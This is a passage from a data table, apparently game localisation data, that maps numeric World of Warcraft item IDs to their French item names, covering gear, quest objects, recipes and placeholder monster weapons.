maçons",[9534]="Chapel de la guilde des ingénieurs",[9535]="Brassards soudés",[9536]="Mantelet Aile-de-fée",[9538]="Anneau d\'or de Talvash",[9539]="Boîte de rations",[9540]="Boîte de sorts",[9541]="Boîte de fournitures",[9542]="Lettre simple",[9543]="Rune simple",[9544]="Note de service simple",[9545]="Cachet simple",[9546]="Parchemin simple",[9547]="Note simple",[9548]="Lettre bénie",[9550]="Rune codée",[9551]="Cachet codé",[9552]="Note runique",[9553]="Parchemin gravé",[9554]="Tablette codée",[9555]="Lettre codée",[9556]="Rune bénie",[9557]="Cachet béni",[9558]="Note de service codée",[9559]="Parchemin codé",[9560]="Parchemin codé",[9561]="Tablette bénie",[9562]="Tablette runique",[9563]="Rune consacrée",[9564]="Tablette gravée",[9565]="Note gravée",[9566]="Rune gravée",[9567]="Cachet gravé",[9568]="Parchemin runique",[9569]="Parchemin béni",[9570]="Lettre consacrée",[9571]="Lettre glyphée",[9572]="Rune glyphé",[9573]="Note de service glyphée",[9574]="Rouleau glyphé",[9575]="Tablette glyphée",[9576]="Lettre contaminée",[9577]="Rune contaminée",[9578]="Rouleau contaminé",[9579]="Parchemin contaminé",[9580]="Cachet verdoyant",[9581]="Note verdoyante",[9587]="Sac spirituel",[9588]="Anneau d\'or de Nogg",[9589]="Minerais incrustés",[9590]="Bûches fendues",[9591]="Tendon résistant",[9592]="Fragments métalliques",[9593]="Muisek de tréant",[9594]="Muisek de bête",[9595]="Muisek d\'hippogriffe",[9596]="Muisek de dragon féerique",[9597]="Muisek de géant des montagnes",[9598]="Robe du dormeur",[9599]="Jambières en mailles d\'écorce",[9600]="Pantalon lacé",[9601]="Bottes fourrées",[9602]="Lame des broussailles",[9603]="Bâton crisseracine",[9604]="Marteau de mécanicien",[9605]="Cape de réparateur",[9606]="Récipient à muisek de tréant",[9607]="Bastion de Hurlevent",[9608]="Outil de désarmement de Shoni",[9609]="Mitaines de Shilly",[9618]="Récipient à muisek de bête",[9619]="Récipient à muisek d\'hippogriffe",[9620]="Récipient à muisek de dragon féerique",[9621]="Récipient à muisek de géant des montagnes",[9622]="Anneau du roseau noué",[9623]="Robe civinade",[9624]="Pantalon du coureur",[9625]="Jambières à double renfort",[9626]="Charge naine",[9627]="Etoile polaire de la Ligue des Explorateurs",[9628]="Poche d\'herbes de Xerash",[9629]="Une tête réduite",[9630]="Bottes artisanales de Pratt",[9631]="Gants artisanaux de Pratt",[9632]="Gants artisanaux de Jangdor",[9633]="Bottes artisanales de Jangdor",[9634]="Gants de manipulation habile",[9635]="Cape de maître apothicaire",[9636]="Echarpe de bretteur",[9637]="Bottes Brise-tibia",[9638]="Crispins chéloniens",[9639]="La main d\'Antu\'sul",[9640]="Poignes de fer",[9641]="Amulette sang-de-vie",[9642]="Bague de la grande tortue",[9643]="Déflecteur optomatique",[9644]="Minuteur thermostatique",[9645]="Bottes d\'inventeur gnome",[9646]="Bottes engloutissantes gnomes",[9647]="Expérience de vol ratée",[9648]="Serviette en cotte de mailles",[9649]="Habit de faveur royale",[9650]="Plastron de la garde d\'honneur",[9651]="Marteau-tempête de chevaucheur de griffon",[9652]="Jambières de chevaucheur de griffon",[9653]="Lunettes de sprinter",[9654]="Esquille du cairn",[9655]="Anneau de concentration",[9656]="Poignes de granit",[9657]="Cordelière de la charmille",[9658]="Bottes des Maharishi",[9659]="Monster - Mace, Tauren Spiked",[9660]="Cape d\'astronome",[9661]="Barrière naturelle",[9662]="Bottes chargecrête",[9663]="Plastron du cavalier de l\'aube",[9664]="Casque de sentinelle",[9665]="Gants du cimier ailé",[9666]="Ceinturon Forte-corne",[9678]="Cogne-murloc de Tok\'kar",[9679]="Coupe-murloc de ToK\'kar",[9680]="Perforeuse à murloc de Tok\'Kar",[9681]="Pattes de roi clampant grillées",[9682]="Ceinture du cuistot en cuir",[9683]="Force du tréant",[9684]="Force de l\'hippogriffe",[9686]="Esprit du dragon féerique",[9687]="Ceinture de lutteur",[9698]="Gants de clairvoyance",[9699]="Cape de la garnison",[9700]="Monster - Item, Sparkler Blue",[9701]="Monster - Item, Sparkler Red",[9702]="Monster - Item, Sparkler White",[9703]="Cape roussie",[9704]="Gants de voleur de bétail",[9705]="Lacet de Tharg",[9706]="Bouclier de Tharg",[9718]="Lame des héros reforgée",[9719]="Lame des héros brisée",[9738]="Gemme de Cobrahn",[9739]="Gemme d\'Anacondra",[9740]="Gemme de Pythas",[9741]="Gemme de Serpentis",[9742]="Corde simple",[9743]="Chaussures simples",[9744]="Poignets simples",[9745]="Cape simple",[9746]="Gants simples",[9747]="Braies simples",[9748]="Robe simple",[9749]="Chemisette simple",[9750]="Echarpe de gitan",[9751]="Sandales de gitan",[9752]="Poignets de gitan",[9753]="Targe de gitan",[9754]="Cape de gitan",[9755]="Gants de gitan",[9756]="Chausses de gitan",[9757]="Tunique de gitan",[9758]="Ceinture de cadet",[9759]="Bottes de cadet",[9760]="Brassards de cadet",[9761]="Cape de cadet",[9762]="Gantelets de cadet",[9763]="Jambières de cadet",[9764]="Bouclier de cadet",[9765]="Broigne de cadet",[9766]="Echarpe en tisse-vert",[9767]="Sandales en tisse-vert",[9768]="Brassards en tisse-vert",[9769]="Branche en tisse-vert",[9770]="Cape en tisse-vert",[9771]="Gants en tisse-vert",[9772]="Jambières en tisse-vert",[9773]="Robe en tisse-vert",[9774]="Gilet en tisse-vert",[9775]="Cordelière de bandit",[9776]="Bottes de bandit",[9777]="Brassards de bandit",[9778]="Targe de bandit",[9779]="Cape de bandit",[9780]="Gants de bandit",[9781]="Pantalon de bandit",[9782]="Harnais de bandit",[9783]="Plastron d\'écumeur",[9784]="Bottes d\'écumeur",[9785]="Brassards d\'écumeur",[9786]="Cape d\'écumeur",[9787]="Gantelets d\'écumeur",[9788]="Ceinture d\'écumeur",[9789]="Garde-jambes d\'écumeur",[9790]="Bouclier d\'écumeur",[9791]="Tunique en étoffe de lierre tressé",[9792]="Bottes en étoffe de lierre tressé",[9793]="Bracelets en étoffe de lierre tressé",[9794]="Cape en étoffe de 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croisé",[10194]="Cape de croisé",[10195]="Bouclier de croisé",[10196]="Gantelets de croisé",[10197]="Ceinture de croisé",[10198]="Heaume de croisé",[10199]="Jambières de croisé",[10200]="Espauliers de croisé",[10201]="Grèves de suzerain",[10202]="Protège-bras de suzerain",[10203]="Pansière de suzerain",[10204]="Bouclier lamellaire lourd",[10205]="Gantelets de suzerain",[10206]="Ceinturon de suzerain",[10207]="Couronne de suzerain",[10208]="Cuissards de suzerain",[10209]="Spallières de suzerain",[10210]="Mantelet élégant",[10211]="Bottes élégantes",[10212]="Cape élégante",[10213]="Brassards élégants",[10214]="Gants élégants",[10215]="Robe élégante",[10216]="Ceinture élégante",[10217]="Jambières élégantes",[10218]="Tunique élégante",[10219]="Diadème élégant",[10220]="Tunique de la belladone",[10221]="Ceinturon de belladone",[10222]="Bottes de la belladone",[10223]="Garde-bras de la belladone",[10224]="Cape de la belladone",[10225]="Gants de la belladone",[10226]="Protège-front de la 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Gnomeregan",[10300]="Patron : Gilet rouge en tisse-mage",[10301]="Patron : Masque blanc de bandit",[10302]="Patron : Pantalon rouge en tisse-mage",[10305]="Parchemin de Protection IV",[10306]="Parchemin d\'Esprit IV",[10307]="Parchemin d\'Endurance IV",[10308]="Parchemin d\'Intelligence IV",[10309]="Parchemin d\'Agilité IV",[10310]="Parchemin de Force IV",[10311]="Patron : Chemise orange martiale",[10312]="Patron : Gants rouges en tisse-mage",[10314]="Patron : Chemise lavande en tisse-mage",[10315]="Patron : Epaulières rouges en tisse-mage",[10316]="Patron : Kilt coloré",[10317]="Patron : Chemise rose en tisse-mage",[10318]="Patron : Bicorne d\'amiral",[10320]="Patron : Bandeau rouge en tisse-mage",[10321]="Patron : Chemise de smoking",[10323]="Patron : Pantalon de smoking",[10325]="Patron : Robe blanche de mariée",[10326]="Patron : Veste de smoking",[10327]="Corne d\'Echeyakee",[10328]="Plastron écarlate",[10329]="Ceinture écarlate",[10330]="Jambières écarlates",[10331]="Gantelets écarlates",[10332]="Bottes écarlates",[10333]="Garde-poignets écarlates",[10338]="Carcasse de zhévra fraîche",[10358]="Brassards de Duracin",[10359]="Bottes perdurantes",[10360]="Cobra noir",[10361]="Serpent brun",[10362]="Bouclier orné",[10363]="Grand pavois ciselé",[10364]="Bouclier de templier",[10365]="Bouclier d\'émeraude",[10366]="Garde démoniaque",[10367]="Bouclier d\'Hypérion",[10368]="Armure imprégnée en plaques",[10369]="Gantelets imprégnés en plaques",[10370]="Ceinturon imprégné en plaques",[10371]="Grèves imprégnées en plaques",[10372]="Heaume imprégné en plaques",[10373]="Jambières imprégnées en plaques",[10374]="Espauliers imprégnés en plaques",[10375]="Protège-bras imprégnés en plaques",[10376]="Bottes de commandant",[10377]="Protège-bras de commandant",[10378]="Armure de commandant",[10379]="Heaume de commandant",[10380]="Gantelets de commandant",[10381]="Ceinturon de commandant",[10382]="Jambières de commandant",[10383]="Espauliers de commandant",[10384]="Armure d\'Hypérion",[10385]="Grèves d\'Hypérion",[10386]="Gantelets d\'Hypérion",[10387]="Ceinturon d\'Hypérion",[10388]="Heaume d\'Hypérion",[10389]="Cuissards d\'Hypérion",[10390]="Espauliers d\'Hypérion",[10391]="Protège-bras d\'Hypérion",[10392]="Serpent cramoisi",[10393]="Cafard",[10394]="Sifflet de chien de prairie",[10398]="Poulet mécanique",[10399]="Armure défias noircie",[10400]="Jambières défias noircies",[10401]="Gants défias noircis",[10402]="Bottes défias noircies",[10403]="Ceinture défias noircie",[10404]="Ceinture durable",[10405]="Epaulières de bandit",[10406]="Bandeau en cuir écaillé",[10407]="Protège-épaules d\'écumeur",[10408]="Casque cerclé",[10409]="Bottes cerclées",[10410]="Jambières du Croc",[10411]="Souliers du Croc",[10412]="Ceinture du croc",[10413]="Gants du croc",[10414]="Echantillon de carapace de Gueule d\'acier",[10418]="Insigne rougeoyant en mithril",[10420]="Crâne du Porte-froid",[10421]="Haubergeon grossier en cuivre",[10423]="Jambières en bronze argenté",[10424]="Plans : Jambières en bronze argenté",[10438]="Boîte de Felix",[10439]="Thé brûlant de Durnan",[10440]="Chope de Nori",[10441]="Eclat luminescent",[10442]="Artéfact mystérieux",[10443]="Lettre roussie",[10444]="Lance-fusée standard",[10445]="Trousse de dessin",[10446]="Cœur d\'Obsidion",[10447]="Tête de Lathoric le Noir",[10450]="Plume d\'hippogriffe sans défaut",[10454]="Essence d\'Eranikus",[10455]="Essence d\'Eranikus enchaînée",[10456]="Une bourse rebondie",[10457]="Coquille d\'escargot de mer vide",[10458]="Prière à Élune",[10459]="Tête du chef Brochaigu Mantépine",[10460]="Sang hakkari",[10461]="Brassards des ténèbres",[10462]="Ceinture des ténèbres",[10463]="Patron : Masque en tisse-ombre",[10464]="Bâton de commandement",[10465]="Oeuf d\'Hakkar",[10466]="Cercle de pierres atal\'ai",[10467]="Sacoche du marchand",[10479]="Sacoche de marchand de Kovic",[10498]="Micro-ajusteur gyromatique",[10499]="Lunettes d\'œil brillant",[10500]="Lunettes de feu",[10501]="Lunettes d\'œil de chat",[10502]="Lunettes de fortification des sorts",[10503]="Lunettes roses",[10504]="Lentille verte",[10505]="Poudre noire solide",[10506]="Casque de scaphandrier",[10507]="Dynamite solide",[10508]="Tromblon en mithril",[10509]="Cœur des flammes",[10510]="Carabine de gros calibre en mithril",[10511]="Huile de golem",[10512]="Balles perçantes en mithril",[10513]="Balle gyroscopique en mithril",[10514]="Bombe explosive en mithril",[10515]="Torche de vindicte",[10518]="Cape parachute",[10538]="Tablette de Beth\'Amara",[10539]="Tablette de Jin\'yael",[10540]="Tablette de Markri",[10541]="Tablette de Sael\'hai",[10542]="Casque de mineur gobelin",[10543]="Casque de chantier gobelin",[10544]="Maillet du bois-chardon",[10545]="Lunettes gnomes",[10546]="Lunette mortelle",[10547]="Couteau de campeur",[10548]="Lunette de sniper",[10549]="Chausses de rancher",[10550]="Mitaines en laine",[10551]="Dague plaquée en thorium",[10552]="Symbole de Ragnaros",[10553]="Gilet de contremaître",[10554]="Pantalon de contremaître",[10556]="Cercle de pierres",[10558]="Batterie en or",[10559]="Tube en mithril",[10560]="Déclencheur instable",[10561]="Armature en mithril",[10562]="Bombe explosive",[10563]="Reproduction : Rune de Beth\'Amara",[10564]="Reproduction : Rune de Jin\'yael",[10565]="Reproduction : Rune de Markri",[10566]="Reproduction : Rune de Sael\'hai",[10567]="Tire-épines",[10568]="Monster - Mace2H, Pacifier",[10569]="Trésor du Vol noir",[10570]="Tueuse-d\'homme",[10571]="Massue en os d\'ébène",[10572]="Eclat glacial",[10573]="Balafreuse",[10574]="Voile mortuaire",[10575]="Cuir de dragon noir",[10576]="Petit dragon mécanique en mithril",[10577]="Mortier gobelin",[10578]="Bottes des penseurs",[10581]="Habit de la tête de mort",[10582]="Bottines des fougères",[10583]="Harnais huran",[10584]="Poings de la bourrasque",[10586]="Le Mastoc",[10587]="Distributeur de bombes gobelines",[10588]="Heaume-fusée gobelin",[10589]="Pierre de vœu des dragons d\'Ysera",[10590]="Boîte noire corrodée",[10591]="Monster - Mace, Stormhammer",[10592]="Elixir d\'œil de chat",[10593]="Fragment de draenéthyste imparfait",[10597]="Tête du magus Rimtori",[10598]="Tête ensanglantée d\'Hetaera",[10599]="Tête battue d\'Hetaera",[10600]="Tête meurtrie d\'Hetaera",[10601]="Schéma : Lunettes d\'œil brillant",[10602]="Schéma : Lunette mortelle",[10603]="Schéma : Lunettes d\'œil de chat",[10604]="Schéma : Carabine de gros calibre en mithril",[10605]="Schéma : Lunettes de fortification des sorts",[10606]="Schéma : Cape parachute",[10607]="Schéma : Casque de scaphandrier",[10608]="Schéma : Lunette de sniper",[10609]="Schéma : Petit dragon mécanique en mithril",[10610]="Sang d\'Hetaera",[10611]="Monster - Axe, Horde Badass 01",[10612]="Monster - Axe, Horde Badass 02",[10613]="Monster - Sword, Katana",[10614]="Monster - Sword, Horde Sword Black",[10615]="Monster - Sword, Horde Sword Red",[10616]="Monster - Dagger, Curvey Silver",[10617]="Monster - Dagger, Curved Bone Bloody",[10618]="Monster - Dagger, Tanto Blade",[10619]="Monster - Dagger, Badass Red",[10620]="Minerai de thorium",[10621]="Parchemin runique",[10622]="Drapeau de Kadrak",[10623]="Morsure de l\'hiver",[10624]="Arc cinglant",[10625]="Lame furtive",[10626]="Marteau-rageur",[10627]="Houlette de Rictus",[10628]="Coup-de-grâce",[10629]="Bottes de Marche-brume",[10630]="Auréole du voleur d\'âme",[10631]="Gantelets des eaux troubles",[10632]="Brassards d\'écailles gluantes",[10633]="Jambières coque-d\'argent",[10634]="Anneau de l\'œil spirituel",[10635]="Jambières en anneaux peints",[10636]="Gants de nomade",[10637]="Gants de brasseur",[10638]="Longue cape drapée",[10639]="Champignon jacinthe",[10640]="Ichor d\'araignée Tissebois",[10641]="Lys pétale de lune",[10642]="Antidote d\'Iverron",[10643]="Lettre scellée pour Ag\'tor",[10644]="Recette : Carburant de fusée gobelin",[10645]="Rayon mortel gnome",[10646]="Charge de sapeur gobelin",[10647]="Encre d\'ingénieur",[10648]="Parchemin commun",[10649]="Eclat de cauchemar",[10652]="Volonté du géant des montagnes",[10653]="Bottes Tailleroute",[10654]="Gants en jute tressée",[10655]="Braies en jonc tressé",[10656]="Haubergeon d\'écorce",[10657]="Mantelet de Talbar",[10658]="Galoches du bourbier",[10659]="Eclat d\'Afrasa",[10660]="Première tablette Mosh\'aru",[10661]="Deuxième tablette Mosh\'Aru",[10662]="Oeuf d\'Hakkar rempli",[10663]="Essence d\'Hakkar",[10664]="Une note pour le magus Rimtori",[10678]="Note de Magatha",[10679]="Note d\'Andron",[10680]="Note de Jes\'rimon",[10681]="Note de Xylem",[10682]="Pierre de vœu de Belnistrasz",[10684]="Parachute colossal",[10685]="Monster - Mace2H, Kazon\'s Maul",[10686]="Egide de guerre",[10687]="Fiole vide marquée N°1",[10688]="Fiole vide marquée N°2",[10689]="Fiole vide marquée N°3",[10690]="Fiole vide marquée N°4",[10691]="Fiole pleine marquée N°1",[10692]="Fiole pleine marquée N°2",[10693]="Fiole pleine marquée N°3",[10694]="Fiole pleine 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combat gnome",[10726]="Coiffe de contrôle mental gnome",[10727]="Fusil-dragon gobelin",[10728]="Patron : Chemise noire de bretteur",[10738]="Chargement pour Galvan",[10739]="Anneau de robustesse",[10740]="Cuissards de centurion",[10741]="Casque de Lordrec",[10742]="Jambières des dragons",[10743]="Protège-front drakefeu",[10744]="Hache du drake d\'ébène",[10745]="Epaulières Kaylari",[10746]="Protège-bras d\'acier runique",[10747]="Echarpe de professeur",[10748]="Bottes de vagabondage",[10749]="Heaume de l\'avant-garde",[10750]="Miséricorde de force vitale",[10751]="Diadème suprême",[10752]="Coffre incrusté d\'émeraudes",[10753]="Amulette de Grol",[10754]="Amulette de Sevine",[10755]="Amulette d\'Allistarj",[10756]="Monster - Mace2H, Smite\'s Mighty Hammer",[10757]="Amulette du Souilleur",[10758]="X\'calibhure",[10759]="Corne brisée du Souilleur",[10760]="Poings du pourceau",[10761]="Dague de Froiderage",[10762]="Robe de la liche",[10763]="Barbute en glace-acier",[10764]="Armure de Froidemort",[10765]="Doigts-d\'os",[10766]="Ramille de la peste putride",[10767]="Bouclier du sanglier sauvage",[10768]="Ceinture de champion sanglier",[10769]="Oeil luminescent de Mordresh",[10770]="Crâne sans vie de Mordresh",[10771]="Echarpe de mage mortel",[10772]="Fendoir de Glouton",[10773]="Urne hakkari",[10774]="Epaulières Fleur-de-peau",[10775]="Carapace de Tuten\'kash",[10776]="Cape d\'araignée soyeuse",[10777]="Gants d\'arachnide",[10778]="Collier de sanctuaire",[10779]="Sang de démon",[10780]="Marque d\'Hakkar",[10781]="Cuirasse hakkari",[10782]="Voile hakkari",[10783]="Spallières atal\'ai",[10784]="Cuirasse atal\'ai",[10785]="Jambières atal\'ai",[10786]="Bottes atal\'ai",[10787]="Gants atal\'ai",[10788]="Ceinturon atal\'ai",[10789]="Manuel d\'ingénierie",[10790]="Carte de membre des ingénieurs gnomes",[10791]="Carte de membre des ingénieurs gobelins",[10792]="Vœu du secret de Nixx",[10793]="Vœu du secret de Suprétincelle",[10794]="Vœu du secret d\'Orguignard",[10795]="Bague griffe-de-drake",[10796]="Pierre de drake",[10797]="Souffle-feu",[10798]="Anneau d\'Atal\'alarion",[10799]="Epieu",[10800]="Brassards des eaux sombres",[10801]="Bottes ondulécaille",[10802]="Cape d\'Aile-voile",[10803]="Lame du misérable",[10804]="Poing des damnés",[10805]="Dévoreuse des morts",[10806]="Habit du prophète atal\'ai",[10807]="Kilt du prophète atal\'ai",[10808]="Gants du prophète atal\'ai",[10818]="Parchemin de Yeh\'kinya",[10819]="Plume d\'Indomptable",[10820]="Ceinture de herseur",[10821]="Cape de semeur",[10822]="Bébé dragonnet sombre",[10823]="Epée de vainqueur",[10824]="Talisman de Luisambre",[10825]="Monster - Sword, Red Long",[10826]="Bâton du savoir",[10827]="Tunique de géomètre",[10828]="Clou redoutable",[10829]="L\'Oeil de dragon",[10830]="Grenade à fragmentation M73",[10831]="Orbe corrompu",[10832]="Manuel du propriétaire du gangrechien traqueur",[10833]="Cornes d\'Eranikus",[10834]="Kit de gangrechien traqueur",[10835]="Ecusson de suprématie",[10836]="Bâtonnet de corrosion",[10837]="Dent d\'Eranikus",[10838]="Puissance d\'Hakkar",[10839]="Note cristallisée",[10840]="Note cristallisée",[10841]="Thé de dorépine",[10842]="Sarong en écailles du vent",[10843]="Cape peau-de-plume",[10844]="Cime d\'Hakkar",[10845]="Etreinte du guerrier",[10846]="Grèves injectées de sang",[10847]="Appel du dragon",[10858]="Plans : Maillet en fer massif",[10878]="Monster - Sword, Horde Jagged Green",[10898]="Monster - Sword, Horde Sword Centurion",[10918]="Poison douloureux",[10919]="Gants d\'apothicaire",[10920]="Poison douloureux",[10921]="Poison douloureux",[10922]="Poison douloureux",[10938]="Essence de magie inférieure",[10939]="Essence de magie supérieure",[10940]="Poussière étrange",[10958]="Collier de Nida",[10959]="Sac en peau de démon",[10978]="Petit éclat scintillant",[10998]="Essence astrale inférieure",[10999]="Souillefer",[11000]="Clé ombreforge",[11018]="Humus d\'Un\'Goro",[11019]="Monster - Sword, Horde Jagged Bloody",[11020]="Sacoche de printemps",[11021]="Monster - Big Sniper Gun",[11022]="Pochette de graines de Tharlendris",[11023]="Poulet d\'Ancône",[11024]="Jardinières de printemps",[11025]="Monster - Sword, Katana 2H",[11026]="Boîte à grenouille arboricole",[11027]="Boîte à grenouille forestière",[11038]="Formule : Enchantement d\'arme 2M (Esprit inférieur)",[11039]="Formule : Enchantement de cape (Agilité mineure)",[11040]="Fibre d\'aurore",[11041]="Monster - Shield, Kite Metal Gold",[11042]="Monster - Sword, Horde Jagged w/ Bolts",[11058]="Anneau de nez de Sha\'ni",[11078]="Clé du coffret à relique",[11079]="Tête coupée de Gor\'tesh",[11080]="Tête coupée de Gor\'tesh",[11081]="Formule : Enchantement de bouclier (Protection inférieure)",[11082]="Essence astrale supérieure",[11083]="Poussière d\'âme",[11084]="Gros éclat scintillant",[11086]="Jang\'thraze la Protectrice",[11087]="Monster - Sword2H, Ragglesnout X\'Caliboar",[11098]="Formule : Enchantement de cape (Résistance à l\'Ombre inférieure)",[11101]="Formule : Enchantement de brassards (Force inférieure)",[11102]="Oeuf non-éclos de fée fléchetteuse",[11103]="Bon pour des graines",[11104]="Grande boussole",[11105]="Carte enroulée",[11106]="Clé à tête de lion",[11107]="Un petit paquet",[11108]="Photographie décolorée",[11109]="Nourriture spéciale pour poulet",[11110]="Oeuf de poule",[11112]="Equipement de recherche",[11113]="Caisse de nourriture",[11114]="Os de dinosaure",[11116]="Un journal abîmé",[11118]="Pierre archaïque",[11119]="Récolte de Milly",[11120]="Marteau de Belgrom",[11121]="Tulwar des eaux sombres",[11122]="Carotte et bâton",[11123]="Jambières de cavalier de la pluie",[11124]="Heaume d\'exil",[11125]="Manifeste des vendanges",[11126]="Tablette de Kurniya",[11127]="Fournitures de récupération",[11128]="Bâtonnet doré",[11129]="Essence des éléments",[11130]="Bâtonnet runique en or",[11131]="Echantillon de paroi de la ruche",[11132]="Fiole rayée inutilisée",[11133]="Epée d\'entraînement de Linken",[11134]="Essence mystique inférieure",[11135]="Essence mystique supérieure",[11136]="Epée trempée de Linken",[11137]="Poussière de vision",[11138]="Petit éclat luminescent",[11139]="Gros éclat luminescent",[11140]="Clé de la prison",[11141]="Appât",[11142]="Samophlange cassé",[11143]="Rondelle de métal",[11144]="Bâtonnet en vrai-argent",[11145]="Bâtonnet runique en vrai-argent",[11146]="Samophlange cassé",[11147]="Couverture du manuel du samophlange",[11148]="Page du manuel du samophlange",[11149]="Manuel du samophlange",[11150]="Formule : Enchantement de gants (Minage)",[11151]="Formule : Enchantement de gants (Herboristerie)",[11152]="Formule : Enchantement de gants (Pêche)",[11162]="Epée excellente de Linken",[11163]="Formule : Enchantement de brassards (Esquive inférieure)",[11164]="Formule : Enchantement d\'arme (Tueur de bête inférieur)",[11165]="Formule : Enchantement d\'arme (Tueur d\'élémentaire inférieur)",[11166]="Formule : Enchantement de gants (Dépeçage)",[11167]="Formule : Enchantement de bottes (Esprit inférieur)",[11168]="Formule : Enchantement de bouclier (Parade inférieure)",[11169]="Livre d\'Aquor",[11172]="Griffes argentées",[11173]="Cœur d\'arbrefer",[11174]="Essence du Néant inférieure",[11175]="Essence du Néant supérieure",[11176]="Poussière de rêve",[11177]="Petit éclat irradiant",[11178]="Gros éclat irradiant",[11179]="Flamme dorée",[11184]="Cristal de puissance bleu",[11185]="Cristal de puissance vert",[11186]="Cristal de puissance rouge",[11187]="Brassards en tiges entrelacées",[11188]="Cristal de puissance jaune",[11189]="Robe forestière",[11190]="Gants de Viny",[11191]="Bottes de fermier",[11192]="Gants de tailleur",[11193]="Cuirasse des vents brûlants",[11194]="Haubert en écailles prismatiques",[11195]="Pansière de guerre",[11196]="Médaillon d\'explosion mentale",[11197]="Clé du gardien noir",[11202]="Formule : Enchantement de bouclier (Endurance)",[11203]="Formule : Enchantement de gants (Minage avancé)",[11204]="Formule : Enchantement de brassards (Esprit supérieur)",[11205]="Formule : Enchantement de gants (Herboristerie avancée)",[11206]="Formule : Enchantement de cape (Agilité inférieure)",[11207]="Formule : Enchantement d\'arme (Arme flamboyante)",[11208]="Formule : Enchantement d\'arme (Tueur de démon)",[11222]="Tête de Krom\'zar",[11223]="Formule : Enchantement de brassards (Esquive)",[11224]="Formule : Enchantement de bouclier (Résistance au givre)",[11225]="Formule : Enchantement de brassards (Endurance supérieure)",[11226]="Formule : Enchantement de gants (Equitation)",[11227]="Morceau de la bannière de Krom\'zar",[11229]="Ceinturon en écailles luisantes",[11230]="Essence flamboyante enchâssée",[11231]="Cuir de dragon noir altéré",[11242]="Evoracine",[11243]="Elixir de Videre",[11262]="Orbe de Lorica",[11263]="Baguette de force du Néant",[11264]="Monster - Mace, Baron Silverlaine",[11265]="Maillet du bois de la Combe",[11266]="Fragment d\'élémentaire cassé",[11267]="Echantillon de Fragment d\'élémentaire",[11268]="Tête d\'Argelmach",[11269]="Noyau d\'élémentaire intact",[11270]="Promesse écrite de Nixx",[11282]="Promesse écrite d\'Orguignard",[11283]="Promesse écrite de Suprétincelle",[11284]="Balles de précision",[11285]="Flèche barbelée",[11286]="Chaînes en thorium",[11287]="Baguette magique inférieure",[11288]="Baguette magique supérieure",[11289]="Baguette mystique inférieure",[11290]="Baguette mystique supérieure",[11291]="Bois d\'étoile",[11302]="Force d\'Uther",[11303]="Arc court raffiné",[11304]="Arc long raffiné",[11305]="Arc court dense",[11306]="Arc solide à double courbure",[11307]="Arc long massif",[11308]="Arc court sylvestre",[11309]="Le Cœur de la montagne",[11310]="Mantelet de prophète des flammes",[11311]="Cape en écailles de braise",[11312]="Recette perdue de la Tonnebière",[11313]="Tête de Ribbly",[11314]="Monster - Claw Insect",[11315]="Pousse de Pétale-de-sang",[11316]="Pétale-de-sang",[11317]="Monster - Axe, 2H War C01 Blue Limited",[11318]="Brume atal\'ai",[11319]="Baguette déchargée",[11320]="Baguette Pétale-de-sang",[11321]="Monster - Sword2H, Horde Massive Red",[11322]="Monster - Sword2H, Horde Broad",[11323]="Monster - Sword2H, Horde Jagged",[11324]="Sac d\'explorateur",[11325]="Chope de bière sombrefer",[11342]="Monster - Axe, 2H Pendulum of Doom",[11343]="Monster - Staff, Jeweled Red Staff",[11362]="Carquois moyen",[11363]="Sacoche moyenne de poudre",[11364]="Tabard de Hurlevent",[11365]="Monster - Staff, Badass Red Staff",[11366]="Lettre d\'Helendis Ruissecorne",[11367]="Supplique de Salomon au roi Wrynn",[11368]="Décret de Wrynn",[11369]="Monster - Mace, Thaurissan Hammer",[11370]="Minerai de sombrefer",[11371]="Barre de sombrefer",[11382]="Sang de la montagne",[11383]="Monster - Mace, Green Scepter",[11384]="Dents de basilic cassées",[11385]="Ecaille de basilic",[11386]="Oeil spongieux de basilic",[11387]="Cœur de basilic",[11388]="Venin de basilic",[11389]="Peau de basilic chatoyante",[11390]="Croc brisé de chauve-souris",[11391]="Aile de chauve-souris épineuse",[11392]="Griffe brisée de chauve-souris",[11393]="Petit crâne de chauve-souris",[11394]="Cœur de chauve-souris",[11395]="Oreille de chauve-souris",[11402]="Peau lustrée de chauve-souris",[11403]="Grand croc de chauve-souris",[11404]="Oeil de chauve-souris maléfique",[11405]="Veine d\'argent de géant",[11406]="Carcasse pourrie d\'ours",[11407]="Peau d\'ours déchirée",[11408]="Mâchoire d\'ours",[11409]="Organe d\'ours",[11410]="Griffe d\'ours sauvage",[11411]="Grand os d\'ours",[11412]="Fiole de Nagmara",[11413]="Fiole de Nagmara remplie",[11414]="Crinière grisonnante",[11415]="Mélange de baies",[11416]="Cage thoracique délicate",[11417]="Aile douce",[11418]="Os creux d\'aile",[11419]="Oeuf mystérieux non-éclos",[11420]="Outil élégant d\'écriture",[11422]="Cadeau de réinscription des Ingénieurs gobelins",[11423]="Cadeau de réinscription des Ingénieurs gnomes",[11424]="Monster - Staff, Wooden Handle Spiral Head",[11444]="Sanglier du Sinistre écluseur",[11445]="Flûte des anciens",[11446]="Une note chiffonnée",[11462]="Couteau de rebut",[11463]="Vieux colis",[11464]="Informations égarées du maréchal Windsor",[11465]="Informations égarées du maréchal Windsor",[11466]="Rapport de Raschal",[11467]="Médaillon rochenoire",[11468]="Sacoche sombrefer",[11469]="Brassards de bandelettes sanglantes",[11470]="Transcription de la tablette",[11471]="Oeuf fragile de Fée fléchetteuse",[11472]="Flanchet de traqueur Crins-d\'argent",[11474]="Oeuf de fée fléchetteuse",[11475]="Cape tachée de vin",[11476]="Peau d\'U\'cha",[11477]="Griffe blanche de ravasaure",[11478]="Peau de gorille d\'Un\'Goro",[11479]="Peau de Marteleur d\'Un\'Goro",[11480]="Peau de Foudroyeur d\'Un\'Goro",[11482]="Manuel d\'utilisateur de Pylône de cristal",[11502]="Epaulières de connaissance en cuir",[11503]="Ambre de sang",[11504]="Morceau de carcasse d\'un battrodon",[11506]="Monster - Claw Offhand",[11507]="Peau de hyène tachetée",[11508]="Mules de maître de jeu",[11509]="Glande de phéromone de ravasaure",[11510]="Tête de Lar\'korwi",[11511]="Balise cénarienne",[11512]="Morceau de peau contaminée",[11513]="Vitriol contaminé",[11514]="Gangrimpante",[11515]="Eclat d\'âme corrompue",[11516]="Baume végétal cénarien",[11522]="Totem en argent d\'Aquementas",[11542]="Monster - Staff, Red Feathered",[11562]="Cristal de restauration",[11563]="Cristal de concentration",[11564]="Cristal de protection",[11565]="Cristal de réduction",[11566]="Cristal d\'explosion",[11567]="Cristal de rétribution",[11568]="Sacoche de Torwa",[11569]="Viande de battrodon préservée",[11570]="Echantillon de phéromone préservé",[11582]="Baume gangrené",[11583]="Pomme de 